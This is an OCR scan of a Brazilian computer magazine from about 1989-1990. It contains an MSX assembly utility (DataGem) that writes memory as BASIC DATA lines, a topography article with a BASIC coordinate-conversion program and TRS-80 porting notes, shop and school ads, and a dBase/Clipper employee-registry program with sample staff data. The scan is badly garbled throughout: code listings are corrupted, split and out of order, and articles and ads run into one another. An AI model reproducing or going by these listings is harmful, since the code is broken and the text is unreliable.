21,0C,D8,CD,62,D8,21.04,01,22,DC,F3,32.AB.FC.21,2A.D8.CD,6C, 
D8,ED,53,5A,D8,21,42,D8,CD,6C 
150 DATA 
D8 , ED, 53,5C. D8 . EB . ED, 5B . 5A. D8 , CD, 20.00.38 . C4.21.01.80,22.5A 

23.7E.FE.40,38.02.D6.07,D6.30.C9.EB.2A.5A.D8,73,23,72,EB,C9, 
1A.F5.0F,0F,0F.OF,CD,AA.D8,F1,E6,0F,FE,OA,38.02,C6,07,C6,30 
77.23.C9 

0'.3/.,Ça 

• Programa: DAIAGEN 

DATAGEM.ASM vl.01 28/03/89 
02/04/89 

19/04:05/11 
Func.-.Transfere para linhas DATA 

valores hexadecimais. 
In :Endereços inicial e final 
Out :Linhas DATA à partir de 10 

;. Alt. :HL DE BC AF 

ORG 0D760h 

CLS EQU 00849h 
CHPUT EQU 000A2h 
INLIN EQU OOOBlh ;Limpa buffer 

;e faz imput 
CSRY EQU 0F3DCh 

;Tela de abertura 

LD 
LD 

Ç V-START: 

— 

— 

LD 
CALL 
LD 
LD 
LD 
CALL 
LD 
LD 

A. 39d 
(0F3B0h),A :WIDTH 39 

CALL CLS 
HL,M_1 
WRITE 
HL,0102h;1»nha 2 col.l 
(CSRY).HL 
HL.M.2 
WRITE 
HL,0104h;linha 3 col.l 
(CSRY).HL 

Input endereços inicial e final 

— 

W o — 

LD (OFCABh).A :roinüsculas 
LD HL,M_EI 
CALL INPUT 
LD (LLEND).DE 
LD HL,M_EF 
CALL INPUT 
LD (ENDEND).DE 
EX DE.HL 
LD DE.(LLEND) 
CALL 00020h iReinicia oe 
JR C.START ; EndFinal< 

Endlnicial 
Inicializa 

LD HL.08001h ;DE-Endlníc 
LD (LLEND).HL 

:Inicia uma nova linha 

f. _ . NLINE : PUSH DE 
’ ' --CALL LINEEND ; 

NLINE1: LD (LLEND),HL:Atua1iza LLEND 

;Escreve o n§ da linha 
:e atualiza LINE 

INC HL 

LD DE.(LINE) 
LD (HL),E 
INC HL 
LD (HL).D 
INC HL 
EX DE.HL ;HL-(LINE) 
LD BC.(LINEINC) 

LD (LINE).HL 
EX DE.HL :HL-pos.atual 

LD (HL).84h :DATA 
INC HL 
LD (HL).20h :spc 
INC HL 

Transfere 50 bytes para a linha 

screve 1 byte 
LD B. 32h : 50d 

D7í> -MAIN: CALL TBÀNSF 
LD (HD.2CH 
INC HL 
PUSH HL 
LD HL.(ENDEND) 

OH : CALL 00020H :comp. HL C/ DE 
POP HL 
JR 2.FIM 
INC DE 
DJNZ MAIN 

Nova linha 

Escreve msg. apontada por HL, 
espera Input e o transforma 
em endereço colocando em DE 

PSftC INPUT: CALL WRITE 
ll£>F — CALL INLIN 
D&2 — CALL HEXREAD 

RET 

HEXREAD: CALL RD 
LD D.A 
CALL RDBYTE 
LD E.A 
RET 

- 

:L€ byte 

• 

LD (HL).00H:apaga 

JR NLINE 

;Fia do programa 

FIM: DEC HL 
LD A.00H 
LD (HL) .A 
INC HL 

'CALL LINEEND 
LD (HL).A 
INC HL 
LD (HL).A 
INC HL 

D'- 'RDBYTE : CALL READ 
RLCA 
RLCA 
RLCA 
RLCA 

B.A 
CALL READ 
ADD A.B 
RET 

jsepara 'dezena' 

0S$? — 

-.escreve 0000 
SUB 

READ1: 
RET 

Transforma ASCII em n® hexa 

INC HL 
D A.(HL) 
P 40h :distingue nâ 

C.READ1 ; [de letra. 
07h :letra maiusc. 
SUB 30h ;n« 

(0F6C2h).HL 
(0F6C4h).HL 
(0F6C6h).HL 
(OFCABh).A;Retorna 

:maiusculas 

M_l: DEFM 'DataGem vl.OIS* 
M_2: DEFM 'AricL Callegario Gomes - 1989S 
M_EI: DEFM 'Endereço inicial —> LhS' 
M_EF: DEFM 'Endereço final ---> lh$' 

LINEEND:EX DE.HL 
LD HL,(LLEND) 
LD (HL).E 

linha atual 

:DE-HL atual 

Transfere 

Variáveis do program 

ENDEND: DEFW OOÕODFT" 
LINE: DEFW 0000Ah 
LINEINC:DEFW OOOOAh 

TRANSF: LD 
PUSH AF 
RRCA 
RRCA 
RRCA 

. RRCA 
15^ - — CALL BYTEl 

POP AF 
BYTEl: 

byte de DE para HL 

A,(DE) 

CP 

Escreve msg. até ‘S‘ 

RITE: LD A.(HL) 
CP 24h ;’S'-end of 
RET Z 

—P CALL CHPUT 

AND 0FH 
0AH 
C.BYTE2 
A.07H 
ADD A.30H 
(HL) , A 

HL 
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PROGRAMA 

Facilite o seu trabalho de topografia MSX 

Conversor 
entre dois 

de coordenadas 
eixos 

Micro: MSX 1. / 2. 

Memória: 64 Kbytes 

Vídeo: P&B / Color 

Linguagem: Basic 

Requisitos: Impressora 
(opcional) 

□ Francisco José Andrade Nogueira 

Todo o profissional que trabalha com Topografia já teve 
problemas de transformar coordenadas de um eixo para 
outro. Bem, se este é o seu caso, o programa aqui apre¬ 
sentado resolverá fácil e rapidamente este problema que 

demanda muito tempo e que, por ser bastante cansativo, 
origina muitos erros, exigindo, conseqüentemente novos 

cálculos. 
Vamos descrever sucintamente o problema. Estamos 

trabalhando com um eixo de coordenadas arbitrárias que 

denominamos EIXO 
ANTIGO (ver figura 
l.a). Um dos motivos 
para o uso de coorde¬ 
nadas arbitrárias pode 
ter sido não termos 
ainda as coordenadas 
de marcos oficiais ou 
talvez para acelerarmos 
os serviços de escritó¬ 
rio, independentemente 

dos trabalhos desenvol¬ 
vidos no campo. Só que 

o trabalho final é exigido 
em coordenadas de 

uma rede de marcos ofi¬ 
ciais que aqui chamare¬ 
mos de EIXO NOVO 

(ver figura l.b). Na fi¬ 
gura l.c temos a des- 
crição do problema e da rigura / 

solução em termos matemáticos. O leitor que trabalha (ou 
não) com Topografia constatará que nesta figura usamos 
o conhecimento de Geometria Analítica e que no programa 
desenvolvido utilizamos o conceito de Topografia. Melhor 
esclarecendo, o eixo-x em matemática é a referência para 
a medição dos ângulos e em Topografia os ângulos são 
definidos pelos azimutes com a origem no eixo-N. Isto é 
necessário para que possamos transformar, sem nenhum 
problema de sinal, as coordenadas em qualquer dos qua 
tro quadrantes. Os eixos X e Y na Matemática correspon¬ 
dem aos eixos E e N na Topografia, respectivamente. 

COMO FUNCIONA 0 PROGRAMA 

Precisamos saber as coordenadas de dois pontos em 
cada um dos dois sistemas (EIXO ANTIGO e EIXO NOVO), 
que denominamos dados iniciais. Com estes dados defi¬ 

nidos a translação (A e B) e a rotação ( ) entre os dois 
eixos. É importante frisar que estes dois pontos têm que 
ser ser os mesmos nos dois eixos. Isto deve acontecer para 
que a distância entre eles em cada sistema seja a mesma, 
caso cotrário, o programa apresentará a diferença entre 
as distâncias que correspondem à magnitude do erro que 
poderá ser encontrado nas novas coordenadas. Na ver¬ 

dade este erro será o valor máximo se os pontos que fo¬ 
ram digitados estiverem na região entre os pontos iniciais. 

Se estiverem fora, o erro será muito maior. Se a distância 
apresentada no vídeo for extremamente grande, fatalmente 

terão sido digitados dados errados para os pontos iniciais, 
que poderão ser corrigidos mais tarde. 

PRECISÃO DOS VALORES CALCULADOS 

O programa apresentado foi desenvolvido em um MSX, 
de modo que possa ser facilmente modificado para o Ba- 



sic de outro micro. Caso o leitor possua um micro de outra 
família, deve se preocupar em saber a precisão das funções 
trigonométricas. No MSX estas funções têm precisão du¬ 
pla o que acarreta resultados confiáveis. No caso, por exem¬ 
plo, da linha TRS-80, as funções trigonométricas são de 
precisão simples e, dependendo da quantidade de algaris¬ 
mos significativos das coordenadas do EIXO ANTIGO, serão 
obtidos valores com erros muito grandes. A bem da ver¬ 
dade, este erro não é só culpa da precisão das funções 
trigonométricas, mas também da transformação das co¬ 
ordenadas retangulares em coordenadas polares no EIXO 
ANTIGO onde é obtido um raio polar muito grande. Deste 
raio polar, com valor alto, multiplicado pelo seno e pelo 
cosseno, resultarão valores pouco confiáveis, caso as 
funções trigonométricas sejam de precisão simples. 

No entanto o problema pode ser facilmente resolvido 
fazendo uma translação 'extra' dos eixos E e N do EIXO 

ANTIGO. Para que o leitor e/ou usuário da linha TRS-80 
possa entender facilmente esta afirmação, a seguir vamos 
alterar o programa onde for necessário, para que este pro¬ 

blema seja solucionado. 

AÇÕES NECESSÁRIAS PARA 0 PROGRAMA RODAR 
EM UM MICRO DA UNHA TRS-80 

A linha 50 deve ser suprimida. 
As impressões através do posicionamento do LOCATE 

devem ser modificadas para o PRINT a. 
Modificar ou criar as seguintes linhas: 

simples sendo suficiente copiar as linhas de impressão na 
impressora (cabeçalho e linha-detalhe) suprimindo apenas 
o L da função LPRINT e subtraindo o valor 12 das tabu¬ 
lações. Na linha 5290 o denominador (em 1/3) pode ser 
aumentado para 6, o que acarretará a exibição na tela de 

6 linhas-detalhe a cada vez. 

CONSIDERAÇÕES FINAIS 

Por fim, na figura 2 apresentamos um exemplo de im¬ 
pressão para que você possa verificar se o programa foi 
digitado corretamente. 

Bem, espero que o programa para transformação de 

coordenadas facilite bastante o seu trabalho e quem sabe 
brevemente teremos novos programas sobre Topografia. 

Figura 2 - impressão 

NOTA: os dois últimos pontos (A) e (B) da Transformação 
de Coordenadas' são os pontos iniciais que definirão os 

dois eixos. 

1030 DEFDBL A-Z 
4015 Dl=I NT( El /1000)*1000: D2=I NT( N1/1000)*1000 
4130 D=SQR((E1-D1)*(E1-D1)+(N1-D2)*(N1-D2)) 
4135 DE=E1-D1:DN = N1-D2:GOSUB 100 
4185 E=EA(I)-D1:N = NA(I)-D2 
4190 D=SQR(E*E+I\I*N) 
4195 DE=E:DN = N:GOSUB 100 

Na linha 4015, os valores Dl e D2 corespondem à trans¬ 
lação 'extra' comentada anteriormente e que resolve o pro¬ 

blema da precisão. 
Como o número de linhas e colunas nas duas famílias 

de micros são diferentes, a impressão na tela do TRS-80 

deve ser modificada para um melhor aproveitamento da 
mesma. Isto não é obrigatório, mas acarretará apresentar 
menos linhas-detalhe a cada vez. 

De qualquer modo a linha 5290 deve ser modificada pois 
o operador MOD não é implementado no TRS-80 e ficará 

com a seguinte forma: 

5290 lf 1/3-1 l\IT(l/3)=0 OR l = NP% THEN PRINT 
STRING$(40,:);:GOSUB 400 

A adaptação da impressão na tela do TRS-80 é bastante 

I-HANCISCO JOSE ANDRADE NOGUEIRA é Engenheiro Civil, 
com curso de Técnico em Estradas e formado em Análise de 
Sistemas. Programa em dBase, Basic e Pascal. 

Programa: MUDAEIXO.BAS 

• •••• HUDAEZXO.BAC *• 
• •• TRAN3F0I.MACAU DE COORDENADAS 
• «•* FRANCISCO JOSE A. NOGOLIRA - 
CLEAR 1000 
KEY OFF 

i GOTO 1U00 
O • ••• sU&ROTINA CALCULO DE AZIMUT' 
0 IF DN»0 AND DE 0 7h£N AAZIM-IT '2:i 

DN-0 AND DE' <1 TH 
DE«0 AND DN-0 Trt 
DE-0 AND DN-O TM 

FA*ATN(DC/DN) 
DN 0 THEN AAZIM* 

I AAZIM-3*P1/2:GOTO 170 
I AAZln*0:GOTO 170 
I AAZXM-PIiGOTO 170 

FA*PI ELSE AA?IM»AlFA*2*PI 
ICO IF AAZ1N>2*PI THEN AAZIM--AA2IM-2*PT 
170 RETURN 
300 • ••• CABECALHO - TELA 
310 CLS:l'«ATE 7.0:PRINTTRANSFOPMACAO DE COORDENADAS- 
j20 PRINT:PRIN701RINC** «40, : 
3JO PRIN1-N. N0«C-TAB'i2)"EIXO ANTTGO"TAB<2S>"EIXA NOVO" 
340 PRlNTSTRlNlj* (40. * 
3C0 PRINT 
370 REIURN 
*00 • AWJARD* AFEPTAR TECLA ••• 
4 1M LOCATE 2. 23: FR IN T "DIGITE OIJALOUER TECLA PARA CONTINUAR" 
4.m 1 * ' 7 > * INKEY*: IF lfl<7>=”" THEN 42-1 

ESCOLA SUPERIOR DE INFORMÁTICA 3* (021) 242-0083/242-8418 

CURSOS PROFISSIONALIZANTES EM EQUIPAMENTOS PC XT/AT COM INSTRUTORES 
DE ALTO NÍVEL + RECURSOS AUDIOVISUAIS E MÉTODO EXCLUSIVO DE ENSINO. 

FORMAÇÃO PROFISSIONAL EM 

PROGRAMAÇÃO E ANALISE DE SISTEMAS 

• LINGUAGENS: BASIC C PASCAL ASSEMBLER 
• TÉCNICAS DE PROGRAMAÇÃO E PROJETOS 

ESTRUTURADOS 
• TELEPROCESSAMENTO - REDES LOCAIS 
• COBOL PI SISTEMAS COMERCIAIS 
• CURSOS DE EXTENSÃO 

FORMAÇÃO DE USUÁRIOS 

• INTRODUÇÃO. MS DOS E EDITORES DE TEXTO: 
WORDSTAR. CARTA CERTA. WORD 

•BANCO DE DADOS d BASE III E PLANILHA 
DE CÁLCULOS LOTUS 1.23 

•COMPUTAÇÃO GRÃFICA. CAD 
• DESKTOP PUBLISHING 
• APLICATIVOS ÁREA FINEIRA 

TREINAMENTO GERENCIAL 

• GERÊNCIA DE PEQUENOS CPDs 
• GERÊNCIA DE PROJETO DE SISTEMAS 
• INFORMÁTICA PARA EXECUTIVOS 
• C0M0 ADQUIRIR EQUIPAMENTOS 

E SOFTWARES 
SEMINÁRIOS 

CURSOS IN H0USE EM T0D0 0 BRASIL 

VÁRIOS PLANOS DE PAGAMENTOS COM DESCONTOS PROGRESSIVOS • RIO DE JANEIRO • RUA DA LAPA, 180/12? (PRÓXIMO A0 METRÔ) 



DESKTOP PUBLISHING: 
Como escolher e implementar um sistema de 

editoração eletrônica; como obter os melhores 

resultados; dicas e truques. 
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K (1 HORA DE DELÍRIO E IMAGINAÇÃO) 

'a Avallon traz para você que aprecia um bom 
som e não conhece a capacidade do Amiga em 
gerar sons. as melhores trilhas sonoras, efeitos 

digitalizados e SFX de seus fantásticos games, 
gravados em fita cassete C-60 com o selo de 
garantia Awallon. Tòtalmente STEREOI 

■"* A única softhouse 
especializada na linha 

Commodore-Amiga 
em todo o Rio de Janeiro 

APLICATIVOS PROFISSIONAIS: 

Banco de dados. Planilha de cálculos. 
Mala Direta. Agenda. Contabilidade. Fi¬ 

chários, Controle de estoque. Editores de 
texto. Cálculos Estruturais... 

AINDA: 
Sistemas Gráficos em geral. Editores Musicais, 

DOS, Copiadores diversos... 
Temos o programa certo para voce acertar na 

SENA e na LOTO. 

• IMPRESSORAS (Também para PC e AMIGA): 

ELGIN LADY 90 (Lançamento) 
ELGIN LADY 80 
GRAPHIX GLX-80 

• BRINDE: 1 Editor de texto e 1 Editor Gráfico com manuais 
e disquetes._ 

• MORY MAPPER: Cobrimos qualquer oferta! Grátis 6 Mapped- 
Games a escolher 
e mais: MICRO EXPERT PLUS, MONITOR GRADIENTE PLACA 80 
COLUNAS, INTERFACE P/DRIVE, DISQUETES 5 1/4 E 3 1/2, 
CAPAS, PORTA DISQUETES (VÁRIOS TIPOS), REVISTA PARA MSX 
E AMIGA... 

> DRIVE 5 1/4 DDX 360KB: 

CONFIGURAÇÃO: 
• Drive 5 1/4 0 360KB 
• Gabinete cl fonte fria • Disquete cl sistema 
• interface 3.0F operacional (DOS) 
• Cabo de ligação PI 2 drives • Disquete cl 20 jogos 
• Manual autoexecutáveis 

Despachamos nossos produtos para todo Brasil via Sedex ou transportadora com seguro. 

Distribuidor autorizado MSX soft 

MANUTENÇÃO 

TODA A UNHA MSX E AMIGA: MICRO, DRIVE, IMPRESSORAS... 

tel: (021)262-1636 

SOFTWARE & HARDWARE 
• Mais de 500 títulos disponíveis de software 

• Últimos lançamentos em games e utilitários 
• Sempre novidades 
• Gravações garantidas 

• Remetemos para todo o Brasil em 24 horas 

• Fteça já o nosso catálogo por carta. É grátis! 

E MAIS: DIGITALIZADOR DE SONS (SAMPLER). 
INTERFACE MIDI. DRIVE 3 1/2, TV MODULADOR.. 

EmmWSVOCEENCmRARAEMNOSSOC^^G^EÇ^PORCA^^RA^^^ 

MSX PERIFÉRICOS & SUPRIMENTOS MSX 
TODOS COM 1 ANO DE GARANTIA • O MELHOR PREÇO » DIVERSAS PROMOÇ0ES • PAGAMENTOS EM ATE 2 VEZES 

.AVALLON INFORMÁTICA LTDA. 

AV. ALMIRANTE BARROSO. 22 SALA 602 CENTRO 
AO LADO DO METRÔ CARIOCA 
DAS 9:00 ÀS 19:00 Hs. 

- RIO DE JANEIRO - CER20031 

EXPANSÃO 512KB Cl CLOCK E MANUAL EM PROMOÇÃO ESPECIAL CONSULTE-NOS 

TRANSCODIFICAMOS SUA TV PARA RGB! 

TUDO PARA 0 SEU MSX1E MSX2 

ÚLTIMOS LANÇAMENTOS 

GHOST TIME. AMC 2, CORSÁRIO 2. 
JUNGLE WARRIOR. RAMWAR. MECOM 

AMO DEL MUNDO, PALACE. MACH 3 
OMEGA 2. WAR IN MIDDLE EARTH. 
DRAGON NINJA +. FANTAZY ZONE, 
MEGANOVA, VAXOL, FINAL ZONE... 

EXPERT LI. PLUS E DOPUIS 

UTILITÁRIOS PARA MSX 2 

LANÇAMENTOS: 

SYNTH SAURUS, GRAPH SAURUS. 
SUB-TITTLER. EROTIC SCREENS 
(1 TO 4), SEX MOVIE (1 TO 4). 
AMIGA DIGI-SCREEN. PC ENGINE 
DIGI-SCREEN (1 TO 3). TOPGUN 
DIGI-SCREEN. TURBOCOPY SM A... 

BURAI, PLATOON, SKY LASER, 

UNE MASTER 2, EGGERLAND 2. RUNE 
WORTH, CRACK! , QUARTH. KAITOI. 

R-TYPE 2, WAR OF DEAD 2, 
IFR-FLY, THEXDER 2, TRIANKLE STAR. 
SHANGAI 2, AYDOCKS. MAGIC OF OZ 

REVIVER.YELLOW SUBMARINE, 
FANTASM SOLDIER 2, YS 3... 

JOGOS DESPORTIVOS, 
CORRIDAS, DESAFIOS, LUTAS, 

AVENTURAS, AÇÃO E TIRO, 
EROTICOS, ESPACIAIS, 

SIMULADORES. CARTAS- 

LINGUAGENS 

E COMPILADORES: 

C (ASCII).C (Library).C (AZTEC), Tur¬ 
bo Pascal, Cobol 80. Micro Prolog, 
MON 80, GEN 80, ED 80, Modula 2. 
Mu Llsp, Simple Hot-Asm. Mega As- 
sembler Forthran... 
Importante: Acompanham manuais 
e disquetes. 

GRAVAÇÕES GARANTIDAS EM DISQUETES 
720KB) 
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PROGRAMA 

Mantenha sua empresa atualizada PC 

CADFUN: 
Cadastro de funcionários 

Micro: IBM PC / XT 

Memória: 512 Kbytes 

Vídeo: CGA 

Linguagem: dBase III 

Requisitos: Impressora 

□ Vicente José Moredo 

O CA D FU N vi.0 tem o objetivo de 
controlar o cadastro de funcionários 
de uma pequena empresa, ajudando 
o usuário a projetar salários, verificar 

reajustes e gerar relatórios dos funcio¬ 
nários a partir disto. 

0 programa é auto-explicativo, mas 
possui um HELP implementado pela 
tecla [F1] que generaliza as teclas de 
edição e escolha. As mensagens sob 
a tela também tornam o programa bas¬ 

tante compreensível. 
A estrututa do banco de dados uti¬ 

lizado pelo programa está junto com 
a listagem do código-fonte. Tal estru¬ 
tura pode ser criada com o dBase III 
ou com FoxBase+. 

No menu principal existem 8 tópi¬ 
cos para executar as tarefas do pro¬ 

grama. Vou explicá-las dirigindo-me ao 
usuário final para que este não tenha 
dúvida nenhuma a respeito do CAD- 
FUN vl.O. 

1- CADASTRO DE FUNCIONÁRIOS 
- Esta opção serve para inserir funcio¬ 

nários no cadastro. Ela pede as taxas 
de reajuste e automaticamente calcula 
as projeções de salários. Caso você te¬ 
nha escolhido esta opção, por engano, 
para anula-la basta teclar [°] no campo 
código e a tela do menu principal vol¬ 

tará a aparecer. 

2- ALTERA REGISTRO DO CADAS¬ 
TRO - Nesta opção o programa dispõe 
os dados de modo que estes fiquem 
totalmente à disposição do usuário 
como se fosse uma planilha eletrônica. 
Para alterar os dados deve-se teclar 
[ENTER] em cima da célula desejada. 

Esta mudará a cor e então poderão ser 

feitas as alterações desejadas, notando 
que: 

a) Quando modificamos os cam¬ 
pos salário anterior, salário atual, 
taxa de reajuste e taxa de pro¬ 

jeção dos dados são recalcula¬ 
dos instantaneamente 
b) O campo salário-projeção não 
pode ser alterado. 

c) A indexação do programa é 
feita pelo nome do funcionário. 

Quando este é alterado, a inde¬ 
xação não é refeita na hora, mas 
acontece. Note que o computa¬ 
dor refaz a indexação mas você 
não a vê. Para vê-la basta sair da 
opção e entrar de novo para com¬ 
provar. 

3- BAIXA REGISTRO - Esta função é 
destinada a dar baixa em itens do ca¬ 
dastro. Ela possibilita ao usuário esco¬ 
lher se a seleção do registro a apagar 
será por nome ou por código do fun¬ 

cionário. Uma vez encontrado o regis¬ 
tro, o programa pergunta se você quer 
ou não que este seja apagado. Note 
que se sairmos direto desta opção e 
verificarmos o cadastro, o registro 
ainda estará lá. para apagá-lo de vez, 
é necessário entrar na opção AR¬ 
RUMA ARQUIVO do submenu; con¬ 

firmamos a operação e, então, o fun¬ 
cionário estará totalmente retirado do 
cadastro. 

4- CONSULTA REGISTRO - Simples 

consulta do registros de cadastro. Esta 
opção é destinada a mera consulta do 
cadastro de funcionários. Os dados são 
expostos da mesma maneira que a 
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opção ALTERA, dando total liberdade 
ao usuário para verificar o arquivo todo. tUNCAO. REÜHQRIO- M SISiEMft 

CISCO 90 SISIM c; 1?504256 bytes livres 

fflOilí LIVRE 191 Kbytes livres 

ARQUIVOS CE CACOS Dl USO ÍTINC.CSF 1089 bytes 

ARQUIVOS CE INCEXAÍAO C0NX.NK 
PESSOAL.N!X 

2043 bytes 
im fl-jtes 

0 ARQUIVO PRINCIPAL TE1 

TOTAL CE BVIES 01 ARQUIVOS: 

7 regisbos 

5134 bytes 

Menu 
relatórios 

APERTE UH TKU PARA CONTINUAR 

'ATA ATUAL U/0:/S0 

COI'. sota Do FUNC. FONCAO ADMISSAO SALARIO 

00072 
0025C 
00003 
00321 
00736 
00979 
00001 

ADILSOK H. OLIVEIRA 
AGSALDO A. SANTOS 
CARLOS JOSE KOESDO 
EDDARDO MOREDO 
HENRIOOE MATOS 
LOIZ FABI0 DOOBADO 
VICENTE JOSE MOREDO 

LAM. SEBBADOS 
AUX. PATIO 
SERRADOS OP. 
SERRADOR OP 
ADX. PATIO 
FAXINEIRO 
FAXINEIRO 

03/12/87 
20/01/89 
17/08/87 
05/09/89 
06/11/82 
03/03/85 
23/10/69 

6012. 60 
9398.<0 
6019. 30 

10863. 60 
8423. 80 
8563. 50 
8563. 50 

Figura 1 

5- CÁLCULOS - Esta opção se torna 
muito mais útil quando o usuário re¬ 
solve fixar todos os resjustes iguais, 
ou seja, todos os funcionários têm seus 
salários corrigidos igualmente. É pos¬ 
sível escolher entre fixar as taxas de 

reajuste e as taxas de projeção. Além 
disso, há a opção de refazer todos os 

cálculos do cadastro para rejeitar, de 
vez, as hipóteses de erro. 

6- RELATÕRIOS - Escolhendo esta 
opção pode-se pular para um outro 
submenu onde estarão as opções de 
relatório por ano de admissão, relató¬ 

rio geral e relatório por salários, cada 
qual com suas respectivas funções. 

a) Relatório geral - Este relatório 
relaciona todos os registros exis¬ 
tentes no cadastro. 
b) Relatório por ano de admissão 
- Nesta opção o computador per¬ 
gunta o ano de admissão dese¬ 
jado para o relatório e dá apenas 
a listagem dos funcionários ad¬ 

mitidos no ano. 
c) Relatório por salários - esta 
opção pede a faixa de salário de¬ 
sejada para o relatório. O com¬ 
putador pede o salário mínimo 
e o salário máximo e exibe o re¬ 
latório, relacionando apenas os 
funcionários que ganham dentro 
da faixa de remuneração dese¬ 
jada. 

Obs: todos os relatórios pos¬ 
suem um cabeçalho exibindo o 
nome do funcionário, a data de 
admissão e o seu respectivo sa¬ 
lário. No final aparecem o número 
de funcionários relacionados, a 
soma dos salários e a média des¬ 

ses salários. 

7- UTILITÁRIOS DO SISTEMA Este 
é, sem dúvida, o módulo mais sofisti¬ 

cado do programa. Nele você poderá 
ver diretórios de outros discos, aces¬ 

sar um comando do DOS diretamente 
do programa, apagar arquivos, reno- 
mear arquivos, fazer Backup de segu¬ 
rança, além de um relatório do sistema 
onde estarão expostos dados como: 
tamanho do arquivo de dados, tama¬ 
nho dos arquivos de indexação, nu¬ 
mero de registros e bytes livres no drive 

corrente. 

8- FIM DE PROCESSAMENTO - Aqui 
acredito que não seja preciso dar ne¬ 
nhuma explicação. Fim de programa. 

O programa como vocês vêem é fá¬ 

cil de entender e espero que se torne 
útil para muita gente. Quando compi¬ 
lado, sua extensão chega perto de 190 
Kbytes. Para rodar o sistema correta¬ 
mente, crie a estrutura do arquivo em 
um programa compatível com o dBase 
III e quando dentro do CADFUN crie 
a indexação através do menu de utili¬ 
tários na opção criar indexação. Note 
que a indexação do dBase III é dife¬ 
rente daquela do Clipper. 

A compilação do programa só será 
bem sucedida se a versão do Clipper 

for a Summer'87 e se o módulo 

EXTEND.LIB for incluído na LinK- 
-Edição. 

O CADFUN vl.O pode ser útil para 
o usuário que faz seu cadastro de fun¬ 
cionários em fichários ou pastas. Mas 
quero frisar bem que o CADFUN vl.O 
não é um programa de folha de paga¬ 
mento, tendo em vista que um pro¬ 
grama para desempenhar essa tarefa 
e bem mais complicado que este. ► 

VICENTE JOSÉ MOREDO é estudante e 
autodidata em informática. Programa em 
Pascal. Basic. dBase III e Clipper. 

• Estrutura do arquivo FUNC.DBF 

Structure for database: C: FÜNC. dbf 
Number of data records: 7 
Date of last update : 05/24/90 
Field Field Name Type Width Dec 

1 CODI Character 5 
2 NOME Character 25 
3 ADMISSÃO Character 8 
4 FONCAO Character .20 
5 3ALANT Numeric 9 2 
6 SAL AT Numeric 9 2 
7 SALAP Numeric 9 2 
8 TAXAI Numeric 6 2 
9 TAXA2 Numeric 6 2 

** Total ** 98 
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Programa: CADFUN 

. . COLOÍ . . CADASTRO D- FUNCIONÁRIOS 
MODULO HELP AO USUÁRIO : il? 

Or’IT 

CADASTRO DE FUNCIONÁRIOS 
MCDOLO CADASTRA FUNCIONÁRIO 

USE FUNC INDEX PESSOAL.CODIX 
SET CURSOR OK 
SET COLOS T»*> B/W 
0 i.3 SAY CFACEC23! ♦ 'INSERE FUNCIONAR! 
SET COLOR TO 
9 5.4 CLXAR TO 21.75 
9 23.2 SAY SFACEf 7fi) 

NO AS:UIVO'* SPACE» 

xmmir 
:;a:kiss*o=cpace< e> 
HFDNCAO-SPACE: 20> 
S£ALAHT=0 
N3ALAT-0 
SSALAP-0 
NTAXAltO 
NTAXA2;0 

CADFUN. PRG 

CADFUN - CADASTRO DE FUNCIONÁRIOS vl. 0 
VICENTE JOSE MOREDO - 9URN BITS 
DEZEMBRO DE 1939 
MODULO MENU PRINCIPAL 

9 4.10 SAY 'CODIGO DO FIINCIONARIO ' 
9 6.10 SAY N0M£: * 
8 S.10 SAY DATA ADMISSACK ' 
9 10.10 SAY ‘FUNÇÃO: ' 
8 12.10 SAY 'CALAR!O ANTERIOR; ' 
9 14.10 SAY 'SAL ARI O ATUAL: * 
9 16.10 SAY 'SALARIO PRoJECAO: ' 
° 13.50 SAY 'REAJUSTE ' 
6 15.50 SAY 'PROJEÇÃO; ' 
9 23.5 SAY SPACE(67l 

■- ;3ií5.ííY„ríí“í'„í"i<;Frin EA3TA T!CLAR [« j "O CAKro CODIGO' 9 4.33 CET NCODI PICTCkE 'X9999' 
BEAD 
2F NCODI: 

SXIT 
SNDIF 
9 6.1C 3ET NNOME 
0 3.25 CET NADHIGSAO PICTURE '99/59/93- 
6 10.13 CET KFUNCAO 
9 12.27 CET NSALANT PICTURE '999.999.99' 
9 13.60 CET IITAXA1 PICTURE 99 j. 99' 
8 15.60 CET NTAXA2 PICTURE '999.99' 
EEAD 
HS ALA?-NSALANT * <NSALANT*NTAXA1•. 011 * 
NSALAP.-NSALAT-í NSALAT-NTAXA2*. 011 
ô 14.L4 SAY NSALAT PICTURE '9&J.993. 99 • 
9 16.27 SAY NSALAP PICTURE '999.999.99' 

NTAXA2'S0OKE’ NSALAf;T-0 • OR. NSALAT.O .OR. NCODI-' \ OR. NTAXA1=0 . OR. 

e 23.10 SAY CPACE<65> 
'• 23.!5 SAY *• ENTRADA DE DADOS ERRADA. FAVOR VERIFICAR CAMFOS ! •' 

CLEAR ALL 
SET TALX OFF 
SET STATUS OFF 
SET BELL OFF 
SET SAFETY OFF 
SET TYPE TO 50 
SET SCORB OFF 
PUBLIC DRIVESIS 
DRIVESIS: 'C: ' 
DRIGI-3 
OPa 1 
USE FUNC INDEX PESSOAL.CODIX 

DO WHILE .T. 
CLEAS 
@0.0 TO 24.79 DOUüLE 
SET COLOR TO B/W 
0 1.3 SAY ' CADFUN - CADASTRO DE FUNCIONÁRIOS .or»c l O - BUBH 31T- 

SET COLOR TO 
0 2.3 TO 22.76 DOUBLS 
SET MESSACE TO 23 CENTER 

UA •.^'24 PROMPT 'CADASTRO DE PUNCIONARICS' MESSAGE INSERE NOVOS PUSCIONARIOS 
NO CADASTRO 

CAlÍsíáo^riJiAM^SIgSx^‘IliSo?0 C“ASTR0' "ESSA0E “0UtB0S “ 
0 9.24 PfiOMPT BAIXA REGISTRO' MESSAGE 'APAGA REGISTROS DO CADASTRO* 

DO ARQU:VO'PB0MPT ’C0NSULTA DE teQlSTKOS• MESSAGE 'SIMPLES CONSULTA DE REGISTROS 

POR?Eàáí/SloS;£-L03' HES3ACE “C4LC0U 0E ACOaBO «" 
FEITA1 PELO oIo"b!0'B!LATOB103' fiE;:3A0'! '!aP2:BE SnjlTOMOS A PARTIR DA ESCOLHA 

sistema'2' PR0BFr '“^'-'PARIOS • MESSAGE 'UTILITÁRIOS DE DISCO E AROCIVCS DO 

TIVER1cÉRTEZA?"?T ^ DE Pa0CSSSA"~l:"' MESSAGE ‘FIM DO PROGRAMA . SO FSCOLHA SE 
HESO TO OP 

EMDIP 

APiíND BLAKX 
EETLACE CSDI HlTH HCODT 
HEPLACS H0K2 Hl TH IMWfiE 
LEDLACE ADSSSSAO Hl TH líADMISSA" 
REPLACE POKCAO HlTH KFUKCAO 
REPLACS SALAGT Hl TH IISAUST 
P.EFLACS SALAT HITH BSALAT 
